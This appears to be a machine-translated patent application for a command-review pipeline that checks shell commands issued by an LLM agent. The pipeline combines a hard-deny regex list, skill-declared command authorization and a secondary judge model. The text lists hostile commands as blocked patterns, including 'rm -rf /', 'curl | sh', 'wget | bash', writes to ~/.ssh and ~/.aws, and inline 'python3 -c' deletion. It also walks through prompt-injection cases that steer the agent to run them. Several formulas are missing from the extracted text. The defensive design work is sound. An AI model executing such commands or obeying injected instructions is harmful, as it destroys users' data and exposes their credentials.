Command review method and system based on language model arbitration and skill self-authorization

Abstract

The application discloses a command review method and system based on language model arbitration and skill self-authorization, relates to the technical field of agent security, and first intercepts and matches a command request message based on a hard rejection command rule set to block a fatal command, performs authorization attribution retrieval based on an active skill command declaration set constituted by a command name declared by a currently activated skill to realize skill self-authorization release, performs conditional rule addition on a basic arbitration rule section based on a safety mode switch state identifier when a hit is still not obtained, and fuses and assembles the command request message into a formatted arbitration prompt word, delivers the formatted arbitration prompt word to a secondary language model independent of a main dialogue language model to perform safety decision reasoning, and finally routes and controls various signals to respectively execute command blocking, sandbox release or manual confirmation adjudication, so that the safety bottom line is guaranteed while the interruption of an agent workflow is reduced.

Description

Technical Field

[0001] This application relates to the field of intelligent agent security technology, and more specifically, to a command review method and system based on language model arbitration and skill self-authorization. Background Technology

[0002] With the widespread deployment of large language model-driven agent systems in software development, data analysis, and other scenarios, executing operating system commands by invoking local shell tools has become one of their core capabilities. However, the command invocations initiated autonomously by agents at runtime face serious security threats, especially when the main dialogue language model is subjected to prompt injection attacks or jailbreak inducements. It may be manipulated to execute destructive commands such as deleting critical files, escalating privileges, or remotely downloading malicious code. Therefore, it is urgent to establish an effective security review mechanism before commands are actually executed.

[0003] In existing technologies, traditional system sandbox solutions, such as AppArmor and seccomp, limit the scope of system calls that a process can invoke through pre-written static policy files. These policy rules are fixed at deployment time, making it impossible to understand the semantic intent of each command within the current task context of the agent. Furthermore, each new tool or skill requires manual updates to the policy file by the administrator, resulting in high maintenance costs in scenarios where agent skills are dynamically installed and uninstalled. Mainstream AI programming agent products generally employ a manual confirmation approach for each command. When the agent requests to execute a local command, a pop-up window asks the user for permission. In moderate-intensity use scenarios involving dozens to hundreds of commands per day, this mechanism inevitably leads to operator approval fatigue, causing reflexive clicks of "agree," rendering manual review ineffective. Simultaneously, frequent interruptions severely disrupt the continuity of the agent's workflow.

[0004] In academic research, scholars have explored technical approaches that utilize independent language models as judges to assess the security of the main model's output. For example, arXiv:2603.25176 discloses a method for detecting cue attacks that uses a language model as a judge in conjunction with a hybrid model integration; arXiv:2401.10019 proposes the R-Judge benchmark for assessing the security risk awareness of agents with large language models; and arXiv:2603.08993 discloses the Arbiter scheme for detecting cue interference in agent systems. While these studies introduce a two-level language model for security judgment, their focus is on detecting harmful information and identifying cue injection at the dialogue content level. They do not involve runtime review of the actual operating system command calls initiated by the agent, and the scheme architecture is a single judge mechanism that does not distinguish between deterministic interception and intelligent arbitration, lacking a hard safety net against fatal commands.

[0005] Regarding patent literature, CN118297159A discloses a sensitive word filtering method and system based on a large language model question-answering scenario. This scheme performs sensitive word replacement filtering in three stages: user input, model inference result, and final output, through a local sensitive word array and a mapping array. It belongs to a pure rule mapping chain processing and has no technical connection with security review at the command execution level. It does not involve a two-level language model arbitration or skill declaration authorization mechanism. CN122018906A discloses a method and system for converting natural language instructions to operating system commands. It adopts a layered processing architecture of intent coarse screening layer, fast matching layer, fuzzy arbitration layer, and secure execution layer. The secure execution layer sets up three levels of security verification, including permission verification, parameter purification, and blacklist interception based on the RBAC model. However, this scheme is aimed at the problem of accurate parsing and mapping of user natural language instructions in resource-constrained terminal environments. Its security verification only exists as an auxiliary step before command execution. It does not involve a runtime dynamic mechanism that constitutes authorization through skill declaration, nor does it have the ability to perform semantic-level security adjudication on gray zone commands through an independent language model. Furthermore, existing industry practices for skill permission lists limit permission declarations to the API or cloud resource level. Once configured, these declarations remain in effect for an extended period and cannot be dynamically tightened in conjunction with runtime security modes. Moreover, there is a lack of independent review and constraint on the credibility of the skill declarations themselves, allowing malicious skills to obtain high-risk permissions by excessively requesting privileges in the declaration files.

[0006] In summary, existing technologies in the field of local command security review for intelligent agents have the following common defects: static rule schemes are disconnected from runtime context and cannot perceive command intent; manual confirmation schemes are rendered ineffective due to approval fatigue; pure language model adjudication schemes are at risk of being jailbroken due to the lack of deterministic hard rejection of the underlying layer; skill permission declaration schemes are threatened by malicious skills excessively requesting permissions due to the lack of an independent review layer; and none of the above schemes have the runtime adaptability to dynamically switch the review strictness without restarting the service. Summary of the Invention

[0007] This application provides a command review method and system based on language model arbitration and skill self-authorization to solve the technical problems existing in the prior art.

[0008] According to a first aspect of this application, a command review method based on language model arbitration and skill self-authorization is provided, comprising: S1, intercepting and matching received command request messages based on a hard-reject command rule set, outputting an interception rejection signal when a match is found, and outputting a command message to be authorized for verification when a match is not found; S2, performing authorization attribution retrieval on the command message to be authorized for verification based on an active skill command declaration set consisting of command names declared by currently active skills, wherein a self-authorization release signal is output when a match is found, and a command message to be arbitrated is output when a match is not found; S3, based on the security mode switch status flag, the basic arbitration rules are reviewed. S4. Conditional rules are added to the segment to obtain a composite arbitration rule segment, and the message to be arbitrated is merged and assembled with the composite arbitration rule segment to obtain a formatted arbitration prompt; S5. The formatted arbitration prompt is delivered to a secondary language model independent of the main dialogue language model for security decision reasoning, where an arbitration release signal is output when the decision is secure, and an arbitration pending confirmation signal is output when the verification is abnormal or the decision is insecure; S6. Routing control is performed on the interception rejection signal, self-authorized release signal, arbitration release signal, and arbitration pending confirmation signal to execute command blocking, sandbox release, or submission of manual confirmation decision, respectively.

[0009] According to a second aspect of this application, a command review system based on language model arbitration and skill self-authorization is provided, comprising: a hard rejection matching module, used to intercept and match received command request messages based on a hard rejection command rule set, outputting an interception rejection signal when a match is found, and outputting a command message to be authorized for verification when a match is not found; a skill authorization module, used to perform authorization attribution retrieval on the command message to be authorized for verification based on an active skill command declaration set consisting of command names of currently active skill declarations, wherein a self-authorization release signal is output when a match is found, and a command message to be arbitrated when a match is not found; and an arbitration assembly module, used to assemble the basic... The arbitration rule segment is conditionally supplemented to obtain a composite arbitration rule segment, and the message to be arbitrated is merged and assembled with the composite arbitration rule segment to obtain a formatted arbitration prompt. The secondary adjudication module is used to deliver the formatted arbitration prompt to a secondary language model independent of the main dialogue language model for secure adjudication reasoning. When the adjudication is secure, an arbitration release signal is output; when the verification is abnormal or the adjudication is insecure, an arbitration pending confirmation signal is output. The signal routing module is used to perform routing control on the interception rejection signal, self-authorized release signal, arbitration release signal, and arbitration pending confirmation signal to execute command blocking, sandbox release, or submission of manual confirmation ruling, respectively.

[0010] Compared with existing technologies, the command review method and system based on language model arbitration and skill self-authorization provided in this application has the following technical effects: First, the hard denial command rule set, as the highest priority deterministic interception layer, always precedes the skill authorization check and language model arbitration execution, so that even if the skill declaration file maliciously requests high-risk command permissions or the secondary language model is jailbroken and induced to output incorrect rulings, the fatal command is still unconditionally blocked, thereby blocking the two types of systemic risk paths: malicious skill declaration attacks and the penetration of the referee model.

[0011] Secondly, the installed and activated skills automatically constitute runtime authorization credentials through the command names marked in their declaration files. When the agent calls these commands, it can directly enter the sandbox to execute them without pop-up confirmation. Compared with the manual confirmation scheme, the frequency of interruption to the operator is reduced by one to two orders of magnitude, effectively eliminating the problem of review failure caused by approval fatigue.

[0012] Furthermore, the conditional rule appending mechanism driven by the security mode switch status flag dynamically determines the composition of the arbitration prompt word each time a request is constructed. After the operator switches the security policy between different task contexts, the next arbitration will be executed according to the new strictness. The response latency is at the millisecond level and does not depend on service restart, overcoming the inherent limitation of existing static rule schemes that cannot tighten or loosen the review intensity at runtime.

[0013] Finally, a conservative strategy of performing format validation on the response returned by the second-level language model and uniformly outputting an arbitration pending confirmation signal for final human decision in the event of network timeout, parsing anomaly, or missing key value ensures that the review module maintains a safe closed state under external dependency failure conditions and does not degenerate into unreviewed direct release due to failure. Attached Figure Description

[0014] The above and other objects, features, and advantages of this application will become more apparent from the more detailed description of the embodiments of this application in conjunction with the accompanying drawings. The drawings are provided to further illustrate the embodiments of this application and form part of the specification. They are used together with the embodiments of this application to explain this application and do not constitute a limitation thereof. In the drawings, the same reference numerals generally represent the same components or steps.

[0015] Figure 1 This is a schematic flowchart illustrating the command review method based on language model arbitration and skill self-authorization, which is an embodiment of this application.

[0016] Figure 2 This is a schematic flowchart of S1 in the command review method based on language model arbitration and skill self-authorization according to an embodiment of this application.

[0017] Figure 3This is a schematic flowchart of S2 in the command review method based on language model arbitration and skill self-authorization according to an embodiment of this application.

[0018] Figure 4 This is a schematic flowchart of S3 in the command review method based on language model arbitration and skill self-authorization according to an embodiment of this application.

[0019] Figure 5 This is a schematic flowchart of S4 in the command review method based on language model arbitration and skill self-authorization according to an embodiment of this application.

[0020] Figure 6 This is a schematic block diagram of a command review system based on language model arbitration and skill self-authorization, which is an embodiment of this application. Detailed Implementation

[0021] The embodiments of this application will now be described in more detail with reference to the accompanying drawings. It should be understood that the drawings and embodiments of this application are for illustrative purposes only and are not intended to limit the scope of protection of this application.

[0022] like Figure 1 and Figure 2 As shown, this application provides a command review method based on language model arbitration and skill self-authorization, including: S1 intercepts and matches received command request messages based on a hard-deny command rule set. If a match is found, an interception and rejection signal is output; otherwise, a command request message awaiting authorization is output. This message includes the command name, command parameters, and working directory path. It is understandable that in an agent system with local shell command invocation capabilities, the main dialogue language model may autonomously decide to invoke operating system commands during user task execution. However, this language model itself may be vulnerable to hint injection attacks or jailbreak inducements, and could be manipulated by malicious contexts to execute dangerous commands with deterministic destructive capabilities, such as deleting critical files, elevating system privileges, or remotely downloading malicious code. Once such fatal commands enter the subsequent skill authorization check or language model arbitration stage, there is a systemic risk of misjudgment and permission granting due to excessive privilege requests in the malicious skill declaration file or the judge model itself being jailbroken. Therefore, a hard-deny interception layer based on deterministic rules is set at the very front of the entire command security review pipeline. All command request messages entering the system undergo a mandatory static rule-level matching check, ensuring that commands deemed dangerous are unconditionally blocked before reaching any intelligent judgment stage. This provides the highest priority fallback guarantee for all subsequent review levels. This hard-deny interception layer cannot be overridden under any circumstances; neither skill declarations nor individual user permission requests can unlock commands in the hard-deny command rule set.

[0023] In one embodiment of this application, such as Figure 2As shown, step S1 includes: S11, performing structured parsing and character standardization concatenation on the command request message to obtain a standardized command feature string, and encapsulating all data items into a command payload to be processed; S12, traversing and comparing the standardized command feature string with each regular expression rule in the hard rejection command rule set and aggregating the maximum value to obtain a hit determination status value; S13, performing traffic routing control on the command payload to be processed based on the hit determination status value, wherein when the value is hit, an interception rejection signal is encapsulated and output, and when the value is not hit, a command message to be authorized and verified is converted and output.

[0024] First, the received command request message undergoes structured deserialization to precisely extract three physical data items: command name, command parameters, and working directory path. The original structures of these three data items are then encapsulated and saved as the command payload for subsequent routing. Next, the system extracts the command name and command parameters, and through preprocessing techniques such as removing redundant spaces, standardizing character case, and restoring escape sequences, concatenates and merges them to generate a standardized command feature string for subsequent high-frequency string matching. The purpose of this standardization process is to eliminate formal matching omissions caused by differences in case, redundant whitespace, or variations in escape sequences, ensuring that semantically equivalent command expressions have consistent character representations during the comparison process.

[0025] Then, the standardized command feature string is compared with each regular expression rule in the hard rejection command rule set, and the maximum value is aggregated to obtain the hit determination status value.

[0026] In the first embodiment, the system iterates through all preset regular expression rules in the hard-reject command rule set, comparing the standardized command feature string with each rule. Specifically, the system introduces a binary indicator function to evaluate whether the standardized command feature string matches a specific rejection rule. If a match is successful, the indicator function outputs 1; otherwise, it outputs 0. The system then calculates the maximum value of the indicator function outputs for all rules, aggregating them to generate the final hit determination status value. The formal representation of this calculation process is as follows: in, This represents the hit determination status value, which is a scalar result with a value range of {0, 1}. It is the decisive parameter for determining whether to execute the interception. This represents the total number of security interception rules contained in the hard deny command rule set; i represents the iteration index variable during rule traversal, with a value ranging from 1 to K; This represents the standardized command feature string, which is the processed text of the string to be examined and used for detection. This represents the i-th specific static regular expression rule in the hard deny command rule set; This indicates a binary indicator matching function, when the first input item... Fully matches the second input item The function returns 1 if the matching paradigm is correct, and 0 otherwise; max represents the global maximum value operator, which is used to implement the short-circuit aggregation judgment logic that the final result is the hit as long as any rule is hit.

[0027] The first embodiment treats the standardized command feature string as an indivisible flat character sequence and performs full-string pattern matching against the regular expression rules in the hard denial command rule set. It is suitable for conventional interception scenarios where the attack pattern appears in the command string in a complete and continuous form that can be matched by a single regular expression.

[0028] In the second embodiment, to address scenarios where attackers disassemble and embed dangerous operational intentions into multiple syntax slots of a command to circumvent any single regular expression's complete match, the system employs a syntax slot decomposition and position-weighted threat co-occurrence aggregation mechanism to replace the aforementioned flat full-string matching method. Shell commands inherently possess a strict hierarchical structure at the syntax level. Operator slots occupy the initial position, carrying the execution subject information; flag slots begin with a hyphen to convey behavioral modification semantics; parameter slots carry the operation object; target path slots specify the scope; and pipe connection slots establish cross-command data flow connections. The contribution weight of tokens appearing in different syntax slots to the overall threat semantics of the command varies significantly and inherently. The `sudo` appearing in the operator slot is far more threatening than the string `sudo` appearing in ordinary parameter slots, and the inline code execution capability implied by `-c` in the flag slot is far superior to that of the same character appearing in a filename parameter.

[0029] In one embodiment of this application, the standardized command feature string is traversed and compared with each regular expression rule in the hard denial command rule set, and the maximum value is aggregated to obtain a hit determination state value. This includes: performing syntactic slot-level word segmentation on the standardized command feature string according to the hierarchical structure of operator bits, flag bits, and parameter bits, and labeling each token with its corresponding slot category identifier to obtain an ordered slot token sequence; based on the preset position-sensitive weight factor in the slot weight mapping table, performing substring-level local matching on each token in the ordered slot token sequence with the hard denial command rule set, and multiplying the matching result by the corresponding slot weight factor to obtain a position-weighted threat contribution vector; performing cross-slot accumulation aggregation on all components in the position-weighted threat contribution vector to obtain a threat co-occurrence aggregation value; and performing threshold comparison determination based on the relationship between the threat co-occurrence aggregation value and the preset threat determination threshold to obtain a hit determination state value.

[0030] First, based on the lexical analysis specifications of Shell syntax, the system performs syntactic slot-level word segmentation on standardized command feature strings. During the segmentation process, slot assignment is determined according to positional semantic rules: the first token at the beginning is assigned to the operator slot, tokens starting with a hyphen are assigned to the flag slot, the separators on both sides of the pipe symbol trigger a new round of operator slot start determination, and the non-flag parameter text at the end is assigned to the target path slot or ordinary parameter slot. Each segmented token element consists of a tuple structure composed of the token text value and the identifier of its corresponding syntactic slot category. All tuples are arranged in order according to their linear occurrence position in the original string, and finally encapsulated to generate an ordered slot token sequence.

[0031] Secondly, each token element in the ordered slot token sequence is traversed, and a two-stage location-aware threat assessment is performed. First, substring-level local matching is performed: the text value of the current token is compared one by one with each rule in the hard deny command rule set. Here, a partial match of a rule's subpattern by the token text is considered a trigger, thus capturing the fragmented attack segments. Then, location weight loading is performed: based on the syntax slot category identifier carried by the current token, the corresponding location-sensitive weight factor is retrieved from the system's preset slot weight mapping table. The local matching result is multiplied by this weight factor to obtain the final location-weighted threat contribution scalar of the token. All token contribution scalars are arranged in their original order of appearance and assembled into a location-weighted threat contribution vector. The formal representation of this calculation process is as follows: in, This represents the k-th component in the position-weighted threat contribution vector, i.e., the final threat contribution scalar of the k-th token after position weighting. The slot weight mapping function is identified by the syntax slot category to which the k-th token belongs. The input is the position-sensitive weight factor preset for that slot; The text value of the k-th token in the ordered slot token sequence; This represents the total number of rules in the hard denial command rule set. This is the i-th rule in the hard denial command rule set; This is a substring-level local matching indicator function, used when the token text partially matches the rule. Output 1 if the condition is met, otherwise output 0.

[0032] Regarding the slot weight mapping function In one specific implementation, the weight factor for the operator slot is set to 1.0, the weight factor for the flag slot is set to 0.8, the weight factor for the pipe connection slot is set to 0.7, the weight factor for the target path slot is set to 0.5, and the weight factor for the ordinary parameter slot is set to 0.3. The above values ​​are based on the following: the operator slot carries the execution entity information of the command and has the most direct determining effect on the overall threat of the command, thus it is given the highest weight; the flag slot carries behavioral modification semantics, such as -c enabling inline execution channels or -rf indicating recursive forced deletion, and its danger level is second only to the operator itself; the pipe connection slot, due to establishing cross-command data stream associations, may introduce chain attacks and is given a medium weight; the target path slot and the ordinary parameter slot are given lower weights because their semantic contributions are relatively indirect.

[0033] Next, a summation operation is performed on all components in the position-weighted threat contribution vector to obtain a scalar aggregate value reflecting the total threat energy across slots for the entire command, i.e., the threat co-occurrence aggregate value. This threat co-occurrence aggregate value is then compared with the system's preset threat determination threshold to determine the final hit determination status value. The formal representation of this calculation process is as follows: in, The final output is the hit determination status value, which takes the value set {0, 1}, where 1 represents triggering the blacklist interception and 0 represents not triggering it; The total number of token elements in the ordered slot token sequence; The k-th component in the location-weighted threat contribution vector; The threat determination threshold is preset for the system and is used as a positive real constant to define whether the accumulated energy of combined threats has reached the critical level to trigger interception.

[0034] Threat determination threshold In one specific implementation, the value of is... Set to 1.5. The logic behind this value is: if only a single token in the operator position of a command matches a rule, its contribution is... If the threshold has not been reached, no interception will be triggered; however, if both the operator bit and the flag bit have a token hit rule simultaneously, their cumulative contribution is 1.0 + 0.8 = 1.8, exceeding the threshold of 1.5, thus triggering an interception. This means that an isolated match in a single slot is insufficient to constitute a combined attack, but a coordinated hit in two or more high-weight slots is identified as a decentralized combined attack pattern and intercepted.

[0035] Through the syntax slot decomposition and position-weighted threat co-occurrence aggregation mechanism of the second embodiment described above, even if an attacker distributes dangerous semantics across multiple syntax slots of a command to circumvent the complete matching of any single regular expression, the position-weighted contribution of each distributed token still generates a numerical superposition effect through aggregation operations, thereby exposing the combined attack pattern from the blind spot of the flat matching paradigm of the first embodiment. In terms of computational resource consumption, since the time complexity of word segmentation is linearly related to the length of the command string, slot weight lookup is a constant-time operation, and the cumulative aggregation operation is also a linear traversal, the overall computational overhead does not introduce an order-of-magnitude increase compared to the traversal of each regular expression in the first embodiment.

[0036] Finally, the hit determination status value is read for routing decisions. If the value is determined to be 1, indicating a hard block, the execution intent in the pending command payload is discarded, and a corresponding blocking alarm is generated based on the triggered rule type. This alarm is then encapsulated and output as a block rejection signal. If the value is determined to be 0, indicating no hard block is triggered, the command is initially deemed compliant. The pending command payload undergoes header format conversion, is encapsulated, and output as an authorization verification command message, allowing it to proceed to the next stage of skill authorization verification.

[0037] This section explains the concept and composition of the hard denial command rule set. The hard denial command rule set is a built-in static array structure containing identified dangerous command patterns. Its coverage includes at least: system privilege escalation commands such as `sudo` and `su`; recursive forced deletion commands such as `rm -rf / `; remote download and execution pipelines such as `curl | sh` and `wget | bash`; write operations to sensitive system paths such as ` / etc`, `~ / .ssh`, and `~ / .aws`; broad permission granting commands such as `chmod 777`; shell metacharacter concatenation such as semicolons, double AND signs, double vertical bars, and dollar sign brackets for command injection; and inline code execution switches such as `-c`, `--eval`, `--exec`, and `-Command`. Each rule in this rule set is stored in the form of a regular expression, used for pattern-level precise matching or substring-level partial matching during the comparison process.

[0038] In one specific embodiment, a user runs an agent with local shell call capabilities to perform data analysis tasks. The main dialogue language model, induced by a malicious context, decides to execute the command `sudo rm -rf / tmp / foo`. After the command request message enters the review module, the system first standardizes the command name `sudo` and the command parameter `rm -rf / tmp / foo` to generate a standardized command feature string. Under the matching method of the first embodiment, when this string is compared with the regular expression rule for `sudo` in the hard-reject command rule set, the indicator function outputs 1. After maximum value aggregation, the hit determination status value is 1, and the system directly outputs an interception rejection signal and returns an error message to the main dialogue language model, with the reason marked as a hard-rejection item `sudo` hit. This command does not enter the secondary language model arbitration stage. Even if an installed skill declares `needs:sudo` in its declaration file, it cannot unlock the interception because the hard-rejection interception layer always has the highest priority.

[0039] Regarding the second embodiment, this application also provides a specific embodiment where an attacker uses prompt injection to cause the main dialogue language model to decide to execute `python3 -c "import os; os.system('rm -rf / ')"`. In the flat full-string matching method of the first embodiment, the hard deny command rule set may not contain a single regular expression that can completely match the entire command string. Each rule, when examined individually, cannot fully cover this dispersed attack combination, resulting in a hit determination value of 0 and a false positive. In the second embodiment, the system first performs syntax slot segmentation on the command: `python3` is assigned to the operator slot, `-c` to the flag slot, and `"import os; os.system('rm -rf / ')"` to the ordinary parameter slot. During the token-level position-weighted threat contribution calculation stage, `-c`, as a rule sub-pattern related to the inline code execution switch in the flag token local hit hard deny command rule set, has a contribution of... The `rm -rf` parameter in the text partially hits the rule sub-pattern regarding recursive forced deletion, and its contribution is... While Python 3's operator bit tokens do not directly hit the hard rejection rule, in certain implementations they can be marked as interpreter tokens with script execution capabilities, thus gaining additional contribution points. Let's assume the contribution point is... The threat co-occurrence aggregation value is 0.8 + 0.3 + 0.5 = 1.6, which exceeds the preset threat judgment threshold of 1.5. The hit judgment status value is output as 1, indicating that the system has successfully identified and blocked this decentralized combined attack pattern.

[0040] S2, based on the active skill command declaration set consisting of the command names declared by the currently active skills, performs an authorization attribution search on the command message to be authorized for verification. If a match is found, a self-authorization release signal is output; otherwise, a command message awaiting arbitration is output. It should be understood that after being intercepted and matched through the hard-reject command rule set, the command message to be authorized for verification, having ruled out deterministically dangerous commands, enters the processing scope of this step. In actual agent operation scenarios, most commands invoked by the main dialogue language model are routine operations necessary for the normal operation of installed skills. For example, data science skills require calling Python 3 to execute analysis scripts, and front-end development skills require calling npm for package management. If these commands, explicitly declared by the skill, are still individually submitted to the secondary language model for arbitration or prompted for user confirmation via pop-up windows, it will generate a large amount of meaningless review overhead and frequently interrupt the agent's workflow. In moderate-intensity usage scenarios, involving dozens to hundreds of commands per day, it will inevitably lead to operator approval fatigue, reflexively clicking "agree," rendering manual review practically ineffective. Therefore, after the hard denial interception layer and before the second-level language model arbitration layer, a skill declaration self-authorization check layer is set up so that the installed and activated skills automatically constitute runtime authorization credentials through the command names marked in their declaration files. This eliminates the need for maintenance personnel to maintain a command whitelist independently, and realizes dynamic permission management that grants authorization upon skill installation and revokes it upon skill uninstallation. This significantly reduces the frequency of interruptions to the operator while maintaining security.

[0041] It's important to note that this skill declaration authorization check only takes effect after passing the hard deny command rule set. This means that no matter how many skill declarations are made, they cannot unlock commands within the hard deny command rule set. Even if a malicious skill declares `needs:sudo` in its declaration file, that command will still be unconditionally blocked by the hard deny interception layer in the previous step and will not reach the authorization retrieval stage in this step. This sequential constraint constitutes a systematic defense against excessive authorization requests from malicious skill declarations.

[0042] In one embodiment of this application, such as Figure 3 As shown, step S2 includes: S21, performing command message decomposition and target feature extraction on the command message to be authorized for verification to obtain a single target retrieval command name and the full payload of the current command; S22, performing set subordination determination on the key set constructed by the target retrieval command name and the active skill command declaration set to obtain an authorization hit Boolean identifier; S23, performing traffic routing on the full payload of the current command based on the authorization hit Boolean identifier, wherein when a hit occurs, a self-authorized release signal is encapsulated and output, and when a hit does not occur, a command message to be arbitrated is converted and output.

[0043] First, the system receives the pending authorization verification command message from the upstream steps, unpacks the message header, extracts a single physical instruction character sequence independent of parameters and paths, defines it, and outputs it as the target retrieval command name. Simultaneously, the system preserves the data state of the unpacked message's entire data (including execution parameters, environment variables, and other execution context), encapsulates it, and outputs it as the full payload of the current command, to be used as entity data in subsequent flows. The significance of this sub-process lies in independently separating the command name carrying the specific execution intent from the complete message structure, allowing it to directly participate in subsequent set subordination operations as a single string, avoiding the unnecessary computational burden of introducing the entire message structure into the retrieval process.

[0044] Secondly, the active skill command declaration set is instantiated in memory as a high-efficiency hash map, where the valid command names of each active skill declaration constitute the key set of this hash table. Then, the extracted target search command name is used as the target element, and a Boolean operation determining the set membership relationship is performed on the key set of the hash table. Based on the determination result, a discrete two-stage indicator function is applied to calculate and generate a binary state of 1 or 0 as the authorized hit Boolean identifier. The formal representation of this calculation process is as follows: in, This represents the calculated authorization hit boolean flag, a state scalar result. The value can only be 1 or 0. A value of 1 indicates that the command call has acquired the intrinsic authorization of the skill, while a value of 0 indicates that no explicit authorization has been obtained. This indicates the name of the target retrieval command, i.e., the specific command word that the current agent is attempting to execute; This represents the set of active skill command declarations, which is mathematically represented as a set containing all legal command elements declared by currently active skills.

[0045] The retrieval time complexity of this hash map is constant and does not increase linearly with the number of elements in the active skill command declaration set, ensuring extremely low review latency even in deployment environments with a large number of skills.

[0046] Finally, the calculated value of the authorization hit boolean flag is read to construct the triage judgment logic. If the value of the flag is 1, indicating authorization hit, it means that the command has been legally declared by the currently active skill and belongs to trusted invocation. Based on this, the system extracts the full payload of the current command and appends a direct release control word to it, reassembling and packaging it into a self-authorized release signal for release output. If the value of the flag is 0, indicating authorization miss, it means that the command exceeds the explicit authorization range of the current skill and belongs to gray zone operation. The system extracts the full payload of the current command, adds a mandatory flag to its message header indicating that it needs to undergo secondary intelligent review by the language model, thereby generating a command message to be arbitrated and putting it into the subsequent language model arbitration queue.

[0047] This section explains the concept and dynamic maintenance mechanism of the active skill command declaration set. In the intelligent agent system to which this application applies, the system supports the installation of third-party skills. Each skill is a separate directory containing a skill description file. Each skill declares a list of commands required by the skill in its skill description file. For example, a data science toolset skill declaration might state: needs: python3, pip, ls, cat, head, tail. The system maintains a query interface that queries the list of commands declared in the description files of all currently installed and active skills to determine if the target search command name is among them.

[0048] The active skill command declaration set is dynamic, not static. When a user installs a new skill, the commands declared for that skill are immediately granted permission – installation equals authorization; when the user uninstalls the skill, the permissions immediately become invalid – uninstallation equals revocation. This dynamic characteristic strictly binds command permission management to the skill lifecycle, eliminating the need for operations personnel to maintain a separate command whitelist configuration during skill installation and uninstallation. This avoids permission residue or missing permission issues caused by inconsistencies between two sets of data.

[0049] In one specific embodiment, a user runs an agent with local shell call capabilities to perform data analysis tasks. The "Python Data Science Toolset" skill is installed and activated, and its description file declares needs: python3, pip, ls, cat, head, and tail. When the main dialogue language model decides to execute python3analysis.py, the command request message is first intercepted and matched against the hard-rejection command rule set in step S1. Since python3 does not match the hard-rejection list, a pending authorization verification command message is output and proceeds to this step. The system extracts the target search command name "python3" from the pending authorization verification command message and performs a query in the hash table constructed from the active skill command declaration set. python3 exists in this set, and the authorization hit boolean flag is output as 1. The system generates a self-authorization release signal, and the command directly enters the sandbox for execution without pop-up confirmation, without any user interruption.

[0050] In another specific embodiment of this application, in the same scenario, the main dialogue language model decides to execute `mvnclean package` to build the project. This command fails after a hard denial interception and proceeds to this step. The system extracts the target retrieval command name as `mvn`, performs a query in the hash table of the active skill command declaration set, finds that the currently active "Python Data Science Toolset" skill does not declare `mvn`, and no other activated skills declare this command. The authorization hit boolean flag outputs 0, and the system generates a pending arbitration command message, causing the command to enter the subsequent steps S3 (arbitration prompt word assembly) and S4 (secondary language model security adjudication process).

[0051] In another specific embodiment of this application, assuming a user uninstalls the "Python Data Science Toolset" skill at some point, the active skill command declaration set is immediately updated after the uninstallation operation, and python3 is removed from this set. Subsequently, when the main dialogue language model requests to execute python3 again, the system will not find a match in the hash table, and the authorization hit boolean flag will output 0. The command will be transferred to the language model arbitration process instead of being directly allowed, ensuring that there are no security risks due to residual permissions after the skill is uninstalled.

[0052] S3, based on the security mode switch status flag, conditionally adds rules to the basic arbitration rule segment to obtain a composite arbitration rule segment. The command message to be arbitrated is then fused and assembled with the composite arbitration rule segment to obtain a formatted arbitration prompt. It should be understood that after two layers of review—hard rejection and skill declaration self-authorization—commands that are neither deterministically blocked nor granted skill authorization are marked as gray-zone operations and require semantic-level security adjudication by an independent secondary language model. However, the adjudication behavior of the secondary language model is directly controlled by the content of its input prompt. Different task contexts have different requirements for the strictness of review. Operators can accept a relatively lenient review strategy when processing daily scripts, but need to tighten the review intensity immediately when processing sensitive data or debugging new skills. Existing static rule solutions either have a fixed review strategy at deployment and cannot be adjusted at runtime, or require a service restart for the new strategy to take effect, failing to adapt to the operator's need for rapid switching between different task contexts. Therefore, based on the real-time switching status of the security mode on the front-end interface, the rule composition of the prompt word is dynamically determined when each arbitration request is constructed, so that the next arbitration after the security mode switch is executed according to the new strictness without restarting the service. At the same time, the specific execution parameters of the command to be arbitrated are structurally integrated with the rule segment to generate a formatted arbitration prompt word that conforms to the input communication protocol of the second-level language model.

[0053] In one embodiment of this application, such as Figure 4 As shown, step S3 includes: S31, performing condition determination based on the security mode switch status identifier, wherein when enabled, the security mode additional rule segment is concatenated to the end of the basic arbitration rule segment, and when disabled, the original text of the basic arbitration rule segment remains unchanged, resulting in a composite arbitration rule segment; S32, performing arbitration command message deconstruction and context parameter extraction on the arbitration command message to obtain the physical context feature parameters to be arbitrated, wherein the physical context feature parameters to be arbitrated include the command name, command parameters, and working directory path; S33, merging and assembling the composite arbitration rule segment and the physical context feature parameters to be arbitrated using placeholders to generate a formatted arbitration prompt word.

[0054] First, the current safe mode switch status flag is read from memory or the front-end hook. This flag is a discrete Boolean value, set in real-time by the operator via the safe mode toggle switch on the front-end interface. The system also pre-sets a safe mode additional rule segment, which contains enhanced rejection rules for high-risk operation types. Based on the value of the safe mode switch status flag, the system executes conditional piecewise function logic to determine the final composite arbitration rule segment content. The formal representation of this calculation process is as follows: in, This represents a dynamically generated composite arbitration rule segment, which serves as the cornerstone text of the second-level language model's behavioral guidelines and contains the final review severity requirements; The basic arbitration rule section represents the system initialization, covering the default interception criteria and model output format instructions under normal circumstances; This indicates a pre-installed security mode additional rule segment in memory, which contains enhanced rejection rules for high-risk operations such as network connections, package installation, and inline code execution. This indicates the current security mode switch status, with a value range of {0, 1}. A value of 1 indicates that the operator has enabled enhanced security mode, and a value of 0 indicates that the operator is in normal mode. The sequence concatenation operator represents a string or text segment. Its function is to append the regular text on the right to the end of the text sequence on the left to form a longer merged string.

[0055] Specifically, the basic arbitration rule section is the default security principle text within the system. Its content includes a list of command types that are allowed by default, a list of command types that are clearly high-risk, and guidance rules that tend to be safe when there is uncertainty. It also includes strict constraints on the output format of the secondary language model, requiring it to output structured data containing two specified key values: the arbitration result and the arbitration reason.

[0056] The Safe Mode Additional Rules section consists of enhanced restriction text dynamically appended to the end of the base rules when the operator enables Safe Mode. Specifically, it includes the following: any command containing a network link is considered unsafe; any command that passes an inline code execution switch to the interpreter is considered unsafe; any command that installs a new package using a package manager is considered unsafe; and any command containing a remote hostname or network address is considered unsafe. All of these additional rules semantically classify commands of the corresponding type as unsafe; that is, in Safe Mode, these operation types are pre-classified as high-risk, making the secondary language model more inclined to output an unsafe decision.

[0057] The security mode switch status is indicated by a Boolean value parameter set in real-time by the operator on the front-end interface. Its response time is equal to the time interval for constructing the next arbitration request, and is in the millisecond range. This mechanism does not modify the content of the basic arbitration rule segment itself, but only dynamically switches the review strictness by appending or not appending an additional rule segment to its end, ensuring that the stability of the basic rules is not affected by the security mode switching operation.

